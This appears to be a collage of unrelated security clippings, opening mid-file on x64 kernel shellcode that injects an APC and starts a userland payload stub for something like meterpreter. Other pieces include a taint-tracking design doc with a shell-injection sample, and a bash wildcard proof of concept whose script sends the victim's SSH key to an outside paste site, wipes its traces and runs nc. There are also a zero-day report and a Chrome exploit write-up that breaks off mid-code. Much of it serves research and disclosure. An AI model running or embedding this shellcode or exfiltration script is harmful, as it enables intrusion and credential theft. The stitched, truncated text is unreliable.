; KeInsertQueueApc\(pAPC, NULL, NULL, NULL\);  
xor edx, edx  
push rdx  
push rdx  
pop r8  
pop r9  
mov rcx, r12  
mov r11d, KEINSERTQUEUEAPC\_HASH  
call x64\_block\_api\_direct  
; KeUnstackDetachProcess\(pApcState\)  
mov rcx, r13  
mov r11d, KEUNSTACKDETACHPROCESS\_HASH  
call x64\_block\_api\_direct  
; ObfDereferenceObject  
x64\_kernel\_exit:  
mov rsp, rbp ; fix stack  
pop rbp  
pop rbx  
pop r12  
pop r13  
pop r14  
pop r15  
pop rsi ; restore clobbered registers and return  
ret  
userland\_start:  
x64\_userland\_start:  
jmp x64\_userland\_start\_thread  
; user and kernel mode re-use this code  
x64\_calc\_hash:  
xor r9, r9  
\_x64\_calc\_hash\_loop:  
xor eax, eax  
lodsb ; Read in the next byte of the ASCII function name  
ror r9d, 13 ; Rotate right our hash value  
cmp al, 'a'  
jl \_x64\_calc\_hash\_not\_lowercase  
sub al, 0x20 ; If so normalise to uppercase  
\_x64\_calc\_hash\_not\_lowercase:  
add r9d, eax ; Add the next byte of the name  
cmp al, ah ; Compare AL to AH \(\0\)  
jne \_x64\_calc\_hash\_loop  
ret  
x64\_block\_find\_dll:  
xor edx, edx  
mov rdx, \[gs:rdx + 96\]  
mov rdx, \[rdx + 24\] ; PEB->Ldr  
mov rdx, \[rdx + 32\] ; InMemoryOrder list  
\_x64\_block\_find\_dll\_next\_mod:  
mov rdx, \[rdx\]  
mov rsi, \[rdx + 80\] ; unicode string  
movzx rcx, word \[rdx + 74\] ; rcx = len  
xor r9d, r9d  
\_x64\_block\_find\_dll\_loop\_mod\_name:  
xor eax, eax  
lodsb  
cmp al, 'a'  
jl \_x64\_block\_find\_dll\_not\_lowercase  
sub al, 0x20  
\_x64\_block\_find\_dll\_not\_lowercase:  
ror r9d, 13  
add r9d, eax  
loop \_x64\_block\_find\_dll\_loop\_mod\_name  
cmp r9d, r11d  
jnz \_x64\_block\_find\_dll\_next\_mod  
mov rax, \[rdx + 32\]  
ret  
x64\_block\_api\_direct:  
mov rax, r15 ; make copy of module  
push r9 ; Save parameters  
push r8  
push rdx  
push rcx  
push rsi  
mov rdx, rax  
mov eax, dword \[rdx+60\] ; Get PE header e\_lfanew  
add rax, rdx  
mov eax, dword \[rax+136\] ; Get export tables RVA  
%ifdef ERROR\_CHECKS  
; test rax, rax ; EAT not found  
; jz \_block\_api\_not\_found  
%endif  
add rax, rdx  
push rax ; save EAT  
mov ecx, dword \[rax+24\] ; NumberOfFunctions  
mov r8d, dword \[rax+32\] ; FunctionNames  
add r8, rdx  
\_x64\_block\_api\_direct\_get\_next\_func:  
; When we reach the start of the EAT \(we search backwards\), we hang or crash  
dec rcx ; decrement NumberOfFunctions  
mov esi, dword \[r8+rcx\*4\] ; Get rva of next module name  
add rsi, rdx ; Add the modules base address  
call x64\_calc\_hash  
cmp r9d, r11d ; Compare the hashes  
jnz \_x64\_block\_api\_direct\_get\_next\_func ; try the next function  
\_x64\_block\_api\_direct\_finish:  
pop rax ; restore EAT  
mov r8d, dword \[rax+36\]  
add r8, rdx ; ordinate table virtual address  
mov cx, \[r8+2\*rcx\] ; desired functions ordinal  
mov r8d, dword \[rax+28\] ; Get the function addresses table rva  
add r8, rdx ; Add the modules base address  
mov eax, dword \[r8+4\*rcx\] ; Get the desired functions RVA  
add rax, rdx ; Add the modules base address to get the functions actual VA  
pop rsi  
pop rcx  
pop rdx  
pop r8  
pop r9  
pop r11 ; pop ret addr  
; sub rsp, 0x20 ; shadow space  
push r11 ; push ret addr  
jmp rax  
x64\_userland\_start\_thread:  
mov r11d, KERNEL32\_DLL\_HASH  
call x64\_block\_find\_dll  
mov r15, rax  
xor ecx, ecx  
push rcx  
push rcx  
push rcx ; lpThreadId = NULL  
push rcx ; dwCreationFlags = 0  
pop r9 ; lpParameter = NULL  
lea r8, \[rel userland\_payload\] ; lpStartAddr = &threadstart  
pop rdx ; lpThreadAttributes = NULL  
mov r11d, CREATETHREAD\_HASH ; hash\("CreateThread"\)  
call x64\_block\_api\_direct ; CreateThread\(NULL, 0, &threadstart, NULL, 0,
NULL\);  
add rsp, 48 ; RSP will be off  
ret  
threadstart:  
; ret  
userland\_payload\_size:  
db 0x00  
db 0x00  
userland\_payload:  
; insert userland payload here  
; such as meterpreter  
; or reflective dll with the metasploit MZ pre-stub  
  
  
  
  
  
  
;  
; Windows x64 Kernel Get ETHREAD.ThreadListEntry Delta  
;  
; Author: Sean Dillon <sean.dillon@risksense.com> \(@zerosum0x0\)  
; Copyright: \(c\) 2017 RiskSense, Inc.  
; License: Apache 2.0  
;  
; Based on EQGRP code  
;  
; Arguments: r15 = base of nt  
; Clobbers: RAX, RSI, RCX  
; Return: RCX = delta offset  
;  
THREADLISTHEAD\_OFFSET equ 0x308  
find\_thread:  
mov rax, r15  
mov r11d, PSGETCURRENTPROCESS\_HASH  
call x64\_block\_api\_direct  
add rax, THREADLISTHEAD\_OFFSET ; PEPROCESS->ThreadListHead  
mov rsi, rax  
mov rax, r15  
mov r11d, KEGETCURRENTTHREAD\_HASH  
call x64\_block\_api\_direct  
mov rcx, rsi ; save ThreadListHead  
\_\_compare\_threads:  
cmp rax, rsi  
ja \_\_walk\_threads  
lea rdx, \[rax+0x500\]  
cmp rdx, rsi  
jb \_\_walk\_threads  
sub rsi, rax  
jmp \_\_calc\_thread\_exit  
\_\_walk\_threads:  
mov rsi, qword \[rsi\] ; move up the list entries  
cmp rsi, rcx ; make sure we exit this loop at some point  
jne \_\_compare\_threads  
\_\_calc\_thread\_exit:  
add rsp, 0x40  
mov rcx, rsi  
  
  
  
  
  
  
---  
  

# English Shellcode

**Created:**| _11/24/2009 12:36:06 PM_  
---|---  
**Updated:**| _11/24/2009 12:36:41 PM_  
**Author:**| __  
**Tags:**| _attacks analysis_  
  
<img src='img/Temp2_2721' />

# henices/Tcp-DNS-proxy - GitHub

**Created:**| _11/10/2011 3:21:18 PM_  
---|---  
**Updated:**| _11/10/2011 3:21:18 PM_  
**Author:**| __  
**Tags:**| _network-security proxy traffic-encapsulation_  
  

README

[code]

    How to use this python script ?
    
    
    1) change your dns server to 127.0.0.1
    $ vi /etc/resolve.conf  
    nameserver 127.0.0.1
    
    2) restart the network
    $ sudo /etc/init.d/networking restart
    
    3) run the script
    $ sudo python tcpdns.py
[/code]

# felixgr/pytaint

**Created:**| _10/14/2013 12:32:54 PM_  
---|---  
**Updated:**| _10/14/2013 12:32:54 PM_  
**Author:**| __  
**Tags:**| _python Tainting_  
  

# pytaint

The goal of pytaint project is to provide a taint tracking mechanism for
Python by modifying the CPython interpreter and adding a module with
convenience functions. Taint tracking is a feature which allows to monitor the
flow of untrusted data across the application and preventing from using it in
sensitive parts without proper sanitization.

##  Compiling & testing

Build and test:

[code]

    ./configure --with-pydebug && make -j2 && ./python Lib/test/regrtest.py -v
    
[/code]

##  Usage & Examples

pytaint can be used manually or with a configuration. Let's look at manual
usage first:

###  Manual Usage

[code]

    # merit is a 'security contract'
    # each merit indicates that the object is safe for some specific operation
    
    s = "foo"
    assert s.istainted() == False
    
    s = s.taint()
    assert s.istainted() == True
    
    # all operations on tainted objects result in tainted objects
    s = s.upper()
    assert s.istainted() == True
    
    # let's do some more string operations...
    # merits also propagate in string operations
    p = "bar"
    r = s + p
    
    # p has never been tainted, so it's clean
    assert p.isclean(SQLiMerit) == True
    
    # a tainted string can gain merits
    s = s._cleanfor(SQLiMerit)
    s = s._cleanfor(ShellMerit)
    assert s.isclean(SQLiMerit) == True
    
    # r is a concatenation of a tainted (without any merits) and a untainted string
    assert r.isclean(SQLiMerit) == False
    
[/code]

###  Configured Usage

Alternatively, you can also use pytaint with a configuration which is defined
in JSON:

[code]

    {
      "cleaners": [
        {"merit": "ShellMerit"},
         "pipes.quote"],
      "sinks": [
        {"merit": "ShellMerit"},
         "os.system"],
      "sources": [
        "raw_input"]
    }
    
[/code]

Configurations easily let you adapt and manage your taint logic. Consider the
above configuration used with the program below.

[code]

    import pipes
    import os
    import taint
    
    def raw_input():
      # a function which gets something user-supplied from the network, let's use
      # the following string as an example: 'google.com'. If the user would be
      # malicious he could supply a shell injection string like 'google.com;killall
      # python'.
      return 'google.com'
    
    class ShellMerit(Merit):
      '''A string has been cleaned for usage as a shell parameter'''
      propagation = Merit.FullPropagation
    
    taint.enable('example_simple.json')
    
    s = raw_input()
    s = pipes.quote(s)  # pipes.quote returns shell escaped version of s
    c = 'host ' + s
    
    os.system(c)
    
[/code]

This program will terminate correctly because the user-supplied input is
sanitized. However, if the call to `pipes.quote` is removed, it will throw a
`TaintError` exception with an explaination that the string `s` is missing the
`ShellMerit`.

###  Verbose Example

You can see a practical real world example in example\_practical.py.

##  Design

###  Background

The motivation for taint tracking is that user data in applications can not be
trusted - for example, a web application user may exploit security
vulnerabilities inside application by supplying malicious data as a form
input. Though user supplied data should be sanitized before using in any
sensitive place, it is often hard to keep a mental model of which data is
clean.

The project supplies features that help solve this problem - its features
include:

  * marking sources of untrusted data and sensitive data sinks
  * tracking untrusted data during runtime and preventing from using it in sensitive sinks

Related work:

  * Conti introduces a pure Python module with similar capabilities - however since he is subclassing every python object, it is really slow \(http://revista.python.org.ar/1/html-en/taint.html\)
  * Kozlov and Pethukov provide an interpreter extension that can trace taint after execution \(https://www.owasp.org/images/3/3e/OWASP-AppSecEU08-Petukhov.pdf\)
  * Russo / Bello's work
  * Meder Kydyraliev introduces Gravizapa for Java/Ruby, which inspired some ideas in this project \(http://www.youtube.com/watch?v=WmZvnKYiNlE\)

###  Overview

To monitor flow of taint, changes to string and unicode objects are
introduced. Those objects now carry a tainted flag, which indicates if an
object comes from an untrusted source \(and therefore can not be trusted\). If
the flag is set to true, we call the object tainted and we assume it’s unsafe
for any of the sensitive operations; otherwise, the object is clean and it can
be safely used.

Tainted objects propagate taint for all operations \(concatenation, splicing,
etc.\) - however, they can be sanitized and gain specific security guarantees
called merits. A merit is a guarantee that object is safe for some specific
operation. The merits may be propagated by string operations \(specific
propagation rules are explained in a later section of this document\).

The extension provides three new kinds of objects:

  * sources - functions that return tainted data
  * cleaners - functions which can add merits to tainted data
  * sinks - function that raise exception when unsafe data is passed to it

The programmer can specify the objects in a configuration file.

It is also possible to give taint information to arbitrary objects by wrapping
them in a Proxy class included in the taint module.

###  Detailed Design

####  Key Concepts

A tainted string is a string which contains untrusted data. A clean
\(untainted\) string is one that programmer can trust. All newly created
strings are clean. Strings created by operations on tainted strings are
tainted \(see taint propagation rules\).

A merit is a security contract which guarantees that given string may be used
with specific operation. Merits are represented by subclasses of the Merit
class introduced in this project. Each merit specifies one concrete security
contract \(example merits may include HTMLMerit, ShellMerit\). Merits
propagate with string operations by propagation rules specified in further
paragraph. Each merit should define attribute propagation\_rule which is one
of Merit.FullPropagation, Merit.PartialPropagation, Merit.NonePropagation.

A function/method marked as sink\(M\) for a given merit M will raise
TaintException when a tainted string/unicode \(without merit M\) will be
passed as an argument to that function.

A function/method marked as cleaner\(M\) for a given merit M will taint and
add merit M to its return value.

A function/method marked as source will taint its return value \(if it is a
string/unicode object - otherwise it will raise a ValueError\).

####  Changes to string and unicode objects

String and unicode objects are extended with a taint flag. The tainted strings
also contain information about merits they have gained.

#####  New methods

\(Everywhere s, t are either string or unicode objects, M is a merit\)

  * s.taint\(\) - return a copy of s which is tainted and has no merits
  * s.isclean\(\) - return true if s is clean, false if it is tainted
  * s.istainted\(\) - return true if s is tainted, false if it is clean
  * s.isclean\(M\) - return false if s is tainted and has no merit M, true otherwise
  * s.\_cleanfor\(M\) - return copy of s with merit M \(if s is clean, the copy will be tainted\)
  * s.\_merits\(\) - return a set of merits of s, or None if s is clean
  * s.\_propagate\(t\) - return a copy of s with the same taint flag value and merits as string t

Preferably, the programmer should refrain from using those methods - instead a
configuration with cleaners, sinks and sources should be used.

#####  Comparison, interning and hashing

Comparison \(`__eq__`\) ignores taint and merit information. There are some
reasons why this may be a good idea:

  * less refactoring when adding taint to existing code
  * taint should be checked by sinks, not by using `__eq__`
  * it won’t lead to confusing bugs where two strings that “print the same” are different

Similarly, all strings with the same characters \(regardless their
taint/merits\) will have the same hash.

With above behaviour it is not clear how \(maybe not at all?\) tainted strings
should be interned - please see caveats for more information.

####  Builtins

Two builtin objects are introduced:

  * TaintException - subclasses StandardError, indicates that a tainted value was used in sensitive place
  * Merit - subclasses object - an abstract base class for all merits 
    * Merit has three inner classes for specifying the propagation - FullPropagation, PartialPropagation, NonePropagation
    * Each subclass of Merit should specify attribute propagation\_rule \(which should be one of above\)

####  Configuration file and enabling pytaint

The taint tracking should be only active if a configuration file is provided.
If no configuration is provided the python interpreter should perform in the
default way.

The configuration files are stored in JSON. By default, the configuration file
should be called PLUMBING and be stored in the same directory as application
\(however, path to other file may be supplied\).

[code]

    # note: in a real config file comments are not allowed
    
    {
    # a list of sensitive sinks
    "sinks" :
      [{"merit" : "MeritA"},
       "mocklib.G",
       "mocklib.F",
       # functions F and G from module mocklib will
       # raise exception when passed a tainted string without MeritA
    
       {"merit" : "MeritB"},
       "mocklib.F",
       # function F from module mocklib will also
       # raise exception when passed a tainted string without MeritB
    
       {"merit" : "MeritC"},
       "mocklib.Foo.StaticM",
       "mocklib.Foo.ClassM", "mocklib.Foo.InstanceM",
       # methods StaticM, ClassM and InstanceM from class Foo
       # from module mocklib will raise exception when passed a taint
       # string without MeritC
    
       # ‘complex’ specification - different checks for each
       # argument:
       {"mocklib.Foo.complicated":
          {"args":
            [{"a" : "HTMLMerit"},
        # first positional argument is checked against HTMLMerit
             "b"
             # second argument may be tainted, taint tracking doesn’t
             # care about it
             {"c" : ["HTMLMerit", "XSSMerit"]}],
             # third argument will be checked against both HTMLMerit and
             # XSSMerit
          "kwargs":
            [{"d" : "HTMLMerit"},
             # keyword argument d is checked against HTMLMerit
             {"e" : "clean"}]}
             # keyword argument e may be tainted, taint tracking doesn’t
             # care about it
       }],
    "sources" :
        ["mocklib.F",
         "mocklib.G",
         # functions F and G from module mocklib are taint sources -
         # their return values are tainted
         "mocklib.Foo.StaticM",
         "mocklib.Foo.ClassM",
         "mocklib.Foo.InstanceM"
         # methods StaticM, ClassM and InstanceM of class Foo from module
         # mocklib are now also taint sources
        ],
    "cleaners" :
        [{"merit" : "HTMLMerit"},
         "mod.C.m",
         "mod.C.IC.m",
         # methods m from class C from module mod and m from inner class
         # IC of class C from module mod are cleaners for HTMLMerit -
         # their return values will have HTMLMerit
    
        {"merit" : "ShellMerit"},
         "pipes.quote"
         # method quote from module pipes is cleaner for the ShellMerit
        ]
    }
    
[/code]

####  Merits and taint propagation

#####  Taint propagation

Taint is propagated by following operations:

capitalize, expandtabs, ljust, splitlines, upper, center, lower, rjust, zfill,
format, lstrip, rpartition, strip, decode, partition, rsplit, swapcase,
encode, replace, rstrip, title, join, split\), splicing \( \[ \] \),
concatenation \(+\), repeating \(\*\), formatting \(%\)

Ie. if one of the arguments is tainted, the result will also be tainted.

#####  Merit propagation

Merits are propagated by the same string operations as taint, however
propagation of them is more complicated. Depending on the value of attribute
propagation\_rule, there are three types of merit propagation. For each of
them, I give an example of how merit is propagated for a two argument
operation - these behaviours can be easily generalised for N-argument
operations \(for one argument operation, the taint status and set of merits
stay the same\). \(Also, all we assume that all string operations are
commutative when it comes to propagation\).

######  FullPropagation

first argument| second argument| result  
---|---|---  
has merit M| is clean| has merit M  
has merit M| has merit M| has merit M  
has merit M| is tainted, has no merit M| is tainted \(no merit M\)  
######  PartialPropagation

first argument| second argument| result  
---|---|---  
has merit M| is clean| is tainted \(no merit M\)  
has merit M| has merit M| has merit M  
has merit M| is tainted, has no merit M| is tainted \(no merit M\)  
######  NonePropagation

first argument| second argument| result  
---|---|---  
has merit M| is clean| is tainted \(no merit M\)  
has merit M| has merit M| is tainted \(no merit M\)  
has merit M| is tainted, has no merit M| is tainted \(no merit M\)  
####  Taint module contents

#####  Merits

For programmers’ convenience, most commonly used merits will be introduced in
this module.

#####  Context managers

Context managers to locally alter the merits’ propagation level are
introduced:

  * unsafePropagationFull\(MeritM\) - inside this context MeritM will propagate by FullPropagation rule
  * unsafePropagationPartial\(MeritM\) - inside this context MeritM will propagate by PartialPropagation rule
  * unsafePropagationNone\(MeritM\) - inside this context MeritM will propagate by NonePropagation rule

Note that context managers may introduce vulnerabilities, and using them
indicates places which should be carefully reviewed.

#####  Decorators

The module contains decorators to create sinks, sources and cleaners. However,
they are mostly for testing/debug purposes; instead a config file should be
used.

Included decorators:

  * source - create a taint source
  * sink\(MeritM\) - create a sink checking for merit MeritM
  * cleaner\(MeritM\) - create a cleaner cleaning for MeritM
  * propagator - turns a class or function into a taint propagator \(see below for more details\)

#####  Tainting builtin collections

The sink and propagators will also attempt tainting builtin collections of
strings/unicodes. Each element of the collections will be tainted recursively
For dictionaries, only values are tainted.

#####  Propagator wrappers

The taint module allows to give taint tracking capabilities to arbitrary
classes. Ways to do it are:

  * propagator decorator
  * specifying propagators in config \(similarly to sinks\) \(this is basically listing in a separate file what should be decorated\)
  * Propagator proxy

The propagator decorator will attempt recognizing whether decorated object is
a function or a class. If it is a function, during each call taint will be
propagated form its arguments and then assigned to result - if the result will
be tainted \(possibly a non string object may be tainted in this way\). If it
is a class, it will be wrapped in a Propagator proxy.

Propagator proxy can be used to add taint propagation to an arbitrary class.
If this is the case, the taint will be collected from the constructor’s
argument on initialization, and assigned to `__taint` variable. All the
methods will propagate taint between this variable and their arguments and
taint result accordingly \(wrapping it with the same class\).

Note: objects of builtin types \(int, float, bool, None, str, unicode and
builtin collections\) are not wrapped by those mechanisms. str and unicode are
tainted by their builtin methods. Builtin collections are tainted as described
in previous sections of this document.

#####  Other

taint.Enable\(filename=PLUMBING\) - enable taint tracking using rules in
supplied configuration file \(filename\). This function monkey patches
functions/methods specified in configuration files and should be called after
all imports are done.

###  Caveats

####  No control flow analysis

A tainted string may be used to check a condition in if expression without
raising any issues. These means that unsafe data may affect control flow. One
way to prevent that is to create a sink of checked expression in use it in if
condition instead.

####  Serialisation

It is not possible to save taint data into non-python formats without
introducing some convention for storing it - therefore taint data is stripped
when serializing objects \(to for example JSON or BlobStore\).

####  String interning and hashes

Since tainted strings have the same hashes as their clean equivalents,
introducing taint mechanism would require changing the interning behaviour.
Considered solutions:

  * don’t intern tainted data
  * ‘cheat’ the interning dictionary by providing fake hashing function when interning tainted strings

It is also not quite clear if giving the different hash to ‘same’ strings is a
good idea - for example, this could potentially make dictionaries unusable
\(ie. retrieving a value stored with a tainted key could be difficult\).

####  Configuration hierarchy

At the moment, each application uses its own configuration file. However, when
different application use the same library, we probably want this library to
have similar \(the same\) taint tracking configuration. At the moment, it is
possible to read multiple taint configurations at the application startup
\(which will result in applying all of them\), however this doesn’t seem like
a very good solution.

####  Propagation through other modules

Intuitively, it seems obvious that some modules \(for example, re\) should
propagate taint information. This would require additional changes in those
modules.

##  Authors

Marcin Fatyga wrote pytaint during his internship at Google, supervised by
Felix Groebert. Big thanks to Torsten Marek, Gregory P. Smith and Thomas
Wouters for valuable feedback.

# Bash glob arbitrary code execution

**Created:**| _6/23/2014 10:17:17 AM_  
---|---  
**Updated:**| _6/23/2014 10:17:17 AM_  
**Author:**| __  
**Tags:**| _Linux commandline-kungfu vulnerability_  
  

# Exploiting Wildcard Expansion on Linux

2014- June 21, 2014

## Wildcard Expansion

When you type a command with a "\*" in bash, bash expands it to the list of
all files in the directory and passes them all as arguments to the program.
For example, "rm \*", will remove files in the current directory.

## Filenames Misinterpreted as Switches

Most command line programs can take switches that affect how they work. For
example, the ls command, when ran without any switches, looks like the output
below.

[code]

    [stephen@superX foo]$ ls 
    asdf.txt  foobar  -l 
    
[/code]

Now let's say you want to know what group and user owns these files. You can
pass "-l" to the ls program to figure that out, which looks like this:

[code]

    [stephen@superX foo]$ ls -l 
    total 0 
    -rw-r--r-- 1 stephen stephen 0 Jun 20 19:10 asdf.txt 
    -rw-r--r-- 1 stephen stephen 0 Jun 20 19:10 foobar 
    -rw-r--r-- 1 stephen stephen 0 Jun 20 19:10 -l 
    
[/code]

Notice there is a file named -l in our directory. Let's try "ls \*" now and
see what happens:

[code]

    [stephen@superX foo]$ ls * 
    -rw-r--r-- 1 stephen stephen 0 Jun 20 19:10 asdf.txt 
    -rw-r--r-- 1 stephen stephen 0 Jun 20 19:10 foobar
    
[/code]

The last two outputs are similar, but the output of "ls \*" is different. It
is missing the "-l" file, which was interpreted by ls as the "-l" switch.
There's no way for the ls program to tell that the "-l" came from the wildcard
expansion and wasn't actually what we in intended. It's equivalent to running:

[code]

    [stephen@superX foo]$ ls asdf.txt foobar.txt -l
    -rw-r--r-- 1 stephen stephen 0 Jun 20 19:10 asdf.txt 
    -rw-r--r-- 1 stephen stephen 0 Jun 20 19:10 foobar
    
[/code]

## Security Problems

Misinterpreted filenames can lead to problems when someone runs a wildcard
expansion on a folder they download from the Internet, for example, without
first checking the filenames. Could this be used to attack someone's computer?
Can we make a program do something bad by having specially-named files in the
directory? Yes, it turns out that we can.

## Known Issue

This problem is well-known, but it still surprises a lot of people. There has
been some discussion of it on the Full Disclosure mailing list.

Generally, we're told that this is a "feature", and that doing anything else
would be even more surprising and difficult to understand to someone who
really understands what's going on. Even if that's the case, if lots of people
misunderstand it, and those people can be exploited as a result, then it
should be considered a security vulnerability, either in the design or in the
documentation.

The posting to Full Disclosure demonstrates how wildcard expansion can be
abused to make a user delete files they didn't intend to. That's annoying, but
isn't too severe a problem. What we really want is to turn an improper use of
"\*" into code execution, and that's what we've done.

## Proof of Concept Exploit

To show that it's possible to turn this problem into an arbitrary code
execution attack, we attack the "scp" command. The scp command provides the
"-o" option, which passes a configuration option to ssh. Luckily, ssh has a
configuration option that involves running a command. We can take advantage of
this to get our script running.

Suppose we have control over the contents of a directory, and inside that
directory our victim will run the following command. Imagine, for example,
that the user just downloaded a web application's source code from the
attacker's website and is uploading the files to their web server.

[code]

    $ scp * user@example.org:/var/www/
    
[/code]

To exploit this command, in the directory we place three files:

  * "-o" \- SCP will interpret this file as the "-o" switch.
  * "ProxyCommand sh supercool.sh %h %p" \- SCP will interpret this file's name as the argument to the "-o" switch.
  * "supercool.sh" \- The script that will run, containing the attacker's code.
  * "zzz.txt" \- Another file in the directory which serves no purpose for the exploit.

It's okay to have more files in the directory, so long as none of their names
fall between "-o" and "ProxyCommand" in alphabetical order, or come before
"-o" in alphabetical order \(bash ignores the leading dash when sorting the
names, and is case-insensitive\). This limitation probably makes actual
attacks difficult, since the very suspicious "ProxyCommand" file will show up
near the top of the directory listing, if the user does look.

Inside "supercool.sh", we have a script that will do what "ProxyCommand" is
supposed to do, along with some malicious commands:

[code]

    #!/bin/sh
    
    # Upload their SSH public key to the Internet, and put a scary message in /tmp/.
    echo "By @DefuseSec and @redragonx..." > /tmp/you-have-been-hacked.txt
    echo "This could have been your private key..." >> /tmp/you-have-been-hacked.txt
    curl -s -d "jscrypt=no" -d "lifetime=864000"                                \
            -d "shorturl=yes" --data-urlencode "paste@$HOME/.ssh/id_rsa.pub"    \
            https://defuse.ca/bin/add.php -D - |                                \
            grep Location | cut -d " " -f 2 >> /tmp/you-have-been-hacked.txt
    
    # Delete evidence of our attack.
    rm ./-o ProxyCommand\ sh\ supercool.sh\ %h\ %p 
    echo > ./supercool.sh
    
    # Do what ProxyCommand is supposed to do.
    nc -p 22332 -w 5 $1 $2
    
[/code]

When the victim runs their scp command, it will appear successful:

[code]

    $ scp * user@example.org:/var/www/
    supercool.sh
    zzz.txt
    
[/code]

But, when the user checks their /tmp/ directory, they'll see our message:

[code]

    $ cat /tmp/you-have-been-hacked.txt 
    By @DefuseSec and @redragonx...
    This could have been your private key...
    https://defuse.ca/b/QQ3nxADu
    
[/code]

You can download the entire proof of concept directory in a .zip file here. Be
careful, and have fun\!

This was written by @RedragonX and @DefuseSec.

# McAfee Labs Detects Zero-Day Exploit Targeting Microsoft Office | McAfee
**Created:**| _11/6/2013 9:36:13 AM_  
---|---  
**Updated:**| _11/6/2013 9:36:13 AM_  
**Author:**| __  
**Tags:**| _Exploit windows office windows-environment_  
  

# **M** cAfee Labs Detects Zero-Day Exploit Targeting Microsoft Office****

0

By Haifei Li  on Nov 05, 2013

Last Thursday morning \(October 31\), our Advanced Exploit Detection System
\(AEDS\), which we discussed in an earlier post , detected a suspicious sample
targeting Microsoft Office**.** After some investigation, we confirmed this is
a zero-day attack**.**

Considering the importance of this incident, we shared our findings
immediately with the Microsoft Security Response Center and worked closely
with them in the last couple days**.** Today, as Microsoft has publicly
released the security advisory with mitigations and workarounds, we feel it is
time to share some detail of this zero-day attack**.**

Here is the traffic captured by this attack on a fully updated version of
Office 2007 running on Windows XP SP3**.**

<img src='img/Temp2_5269.png' alt='traffic1' />

As we can see, after successful exploitation, the exploit downloads an
executable \(saved to _C:\Documents and Settings\ <username>\Local
Settings\Temp\winword.exe_\) from the controlled web server _**.**_

The executable is actually a RAR SFX containing another executable and a fake
Word document**.** The another executable \(dropped to _C:\Documents and
Settings\ <username>\Updates.exe_\) is a backdoor allowing attacker to take
control of the victim’s computer**.** The fake document \(dropped to
_C:\Documents and Settings\ <username>\Shanti.doc_\) is popped to the victim
right after the success of the exploitation, this is a common post-
exploitation trick which tries to prevent victims from being aware of this
attack**.**

The zero-day exploit sample is organized as the Word OpenXML format
\(.docx\)**.** We observed many ActiveX objects contained in the “activeX”
directory after unzipping the .docx file**.** This suggests that the exploit
uses ActiveX control to spray the heap memory**.**

<img src='img/Temp2_5268.png' alt='activex_spray1' />

It is worth to note that this heap-spraying in Office via ActiveX objects is a
new exploitation trick which we didn’t see before, previously attackers
usually chose Flash Player to spray memory in Office**.** We would believe the
new trick was developed under the background that Adobe introduced a click-to-
play feature  in Flash Player months ago, which basically killed the old
one**.** This is another proof that attacking technique always tries to evolve
when old ones don’t work anymore**.**

As it shows, the meta date of the files were set to October 17, 2013, which
may suggest a creation time of this exploit \(though, the meta time could be
faked\)**.**

And this is the place that EIP is being controlled to a sprayed memory space
0×08080808**.**

<img src='img/Temp2_5270.png' alt='eip_control_windbg_hidden21' />

Speaking on the vulnerability leveraged by this attack, while we spotted the
attack performed via Office 2007 running on Windows XP, this is actually a
fault existing in a TIFF-processing component shipped with Microsoft
Office**.** Therefore, not only are Office 2007 with Windows XP vulnerable to
this attack, but also more environments are affected by this
vulnerability**.** In addition, our later research showed this exploit also
works on Office 2007 running on Windows 7**.** We’d suggest that readers take
a look at the SRD blog post  where they shared the exact affected environments
and views from the vendor’s perspective**.** The Labs has been actively
working on getting every piece of details of this exploit, we may share our
additional findings in the near future**.**

Our AEDS continues to monitor advanced threats such as zero-day exploits and
APTs worldwide, as a part of our commitments  to protect our customers from
today’s fast-evolving attacks**.**

For McAfee customers, we have released NIPS signature “ _UDS-
ShantiMalwareDetected_ ” last Friday to deliver protection in advance, our
HIPS product is able to detect this attack without any update**.**

_Thanks Bing Sun, Chong Xu, Xiaoning Li \(Intel Labs\) and Lijun Cheng for
their hard work on the exploit analysis as well as IPS detections**.**
Guilherme Venere and Abhishek Karnik also contributed from the anti-virus
side**.**_

****

# Windows 8 Patcher - Page 2

**Created:**| _2/11/2012 11:42:59 AM_  
---|---  
**Updated:**| _2/11/2012 11:43:01 AM_  
**Author:**| __  
**Tags:**| _windows environment msrdp_  
  

> <img src='img/Temp2_9574.jpg' alt='alt' />  
>  <img src='img/Temp2_9575.jpg' alt='alt' />  
>  <img src='img/Temp2_9576.jpg' alt='alt' />  
>  <img src='img/Temp2_9578.jpg' alt='alt' />  
>  <img src='img/Temp2_9579.jpg' alt='alt' />  
>  <img src='img/Temp2_9577.jpg' alt='alt' />  
>  <img src='img/Temp2_9573.jpg' alt='alt' />
> Last edited by johnnygt; 09 Feb 2012 at 03:03 PM.

# Selective Symbolic Execution

**Created:**| _9/30/2009 6:49:05 PM_  
---|---  
**Updated:**| _9/30/2009 7:33:38 PM_  
**Author:**| __  
**Tags:**| _compiler-building binary instrumentation papers reversing_  
  
<img src='img/Temp2_7385' />

# CVE-2019-5786: Analysis & Exploitation of the recently patched Chrome
vulnerability - Exodus Intelligence

**Created:**| _3/22/2019 7:33:36 AM_  
---|---  
**Updated:**| _3/22/2019 7:33:36 AM_  
**Author:**| __  
**Tags:**| _browser chrome_  
  

  

_This post provides detailed analysis and an exploit achieving remote code
execution for the recently fixed Chrome vulnerability that was observed by
Google to be exploited in the wild._

Author: István Kurucsai

# Patch Analysis

The release notes from Google are short on information as usual:

> \[$N/A\]\[936448\] High CVE-2019-5786: Use-after-free in FileReader.
> Reported by Clement Lecigne of Google’s Threat Analysis Group on 2019-02-27
As described on MDN, the “FileReader object lets web applications
asynchronously read the contents of files \(or raw data buffers\) stored on
the user’s computer, using File or Blob objects to specify the file or data to
read”. It can be used to read the contents of files selected in a file open
dialog by the user or Blobs created by script code. An example usage is shown
in below.

1  
2  
3  
4  
5  
6  
7  
8  
9  
10  
11  
12  
13  
| let reader = new FileReader\(\);  
  
reader.onloadend = function\(evt\) \{  
console.log\(\`contents as an ArrayBuffer: $\{evt.target.result\}\`\);  
\}  
  
reader.onprogress = function\(evt\) \{  
console.log\(\`read $\{evt.target.result.byteLength\} bytes so far\`\);  
\}  
  
let contents = "filecontents";  
f = new File\(\[contents\], "a.txt"\);  
reader.readAsArrayBuffer\(f\);  
---|---  
It is important to note that the File or Blob contents are read asynchronously
and the user JS code is notified of the progress via callbacks. The
_onprogress_ event may be fired multiple times while the reading is in
progress, giving access to the contents read so far. The _onloadend_ event is
triggered once the operation is completed, either in success or failure.

Searching for the issue number in the Chromium git logs quickly reveals the
patch for the vulnerability, which alters a single function. The original,
vulnerable version is shown below.

1  
2  
3  
4  
5  
6  
7  
8  
9  
10  
11  
12  
13  
14  
15  
16  
17  
18  
